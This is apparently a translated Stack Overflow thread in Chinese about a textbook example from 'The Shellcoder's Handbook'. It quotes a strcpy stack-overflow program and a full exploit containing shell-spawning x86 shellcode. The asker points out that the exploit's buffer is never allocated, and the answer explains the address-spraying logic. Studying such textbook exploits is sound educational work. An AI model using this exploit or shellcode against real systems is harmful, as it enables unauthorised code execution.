从"The Shellcoder's Handbook“中摘录的受害者.c如下所示
// victim.c
int main(int argc,char *argv[])
{
char little_array[512];
if (argc > 1)
strcpy(little_array,argv[1]);
}它的漏洞,attack.c如下
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; //the shellcode(Spawn shell)
unsigned long find_start(void) {
__asm__("movl %esp,%eax"); //Get ESP's value and return it.
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr; //addr_ptr: The address of the NOP sled to jump to when the program retrieves its saved EIP.
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
printf("Attempting address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}ptr = buff;将缓冲区的垃圾值分配给ptr(缓冲区未初始化)。接下来的代码行addr_ptr = (long *) ptr;将ptr的值(buff的垃圾值)赋值给addr_ptr。我不清楚作者在这几行中的意图。addr_ptr应该包含程序在检索保存的EIP时跳转到的地址,最好是NOP sled。然而,addr_ptr包含的是垃圾值。
我认为buff应该是动态分配的,首先使用malloc。
我知道“Shellcoder's Handbook”有很多错误,但它是少数几本谈到软件开发的书之一。
发布于 2020-08-31 19:41:45
在第26行
addr = find_start() - offset;addr被设置为目标返回地址,因此它不是真正的垃圾。
根据我的理解,作者所做的是首先使用addr重复填充整个缓冲区,这样既可以作为垃圾数据,也可以作为返回地址来覆盖存储的弹性公网is。此外,如果缓冲区在堆栈上很好地进行了DWORD对齐,这样做可以让它们不必关心放置返回地址的正确偏移量。
然后,他们用BUF=和外壳代码重写这个缓冲区的“垃圾数据部分”的开头。这之所以有效,是因为BUF=的长度为4,因此它不会破坏DWORD对齐。
是的,应该分配buff。请注意,如果您在以下页面中检查nopattack.c,其中将NOP sled添加到漏洞利用中,则您会看到它确实是在第28行上分配的:
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}此外,如果您比较attack.c和nopattack.c,代码也有很大的不同(分配、变量和函数名、#define常量大写...)令人惊讶的是,后者的代码应该只是前者之后的一次迭代。这表明,当他们写这本书(或第二版)时,可能已经进行了重构,错误可能来自于此。
https://stackoverflow.com/questions/60889563
复制相似问题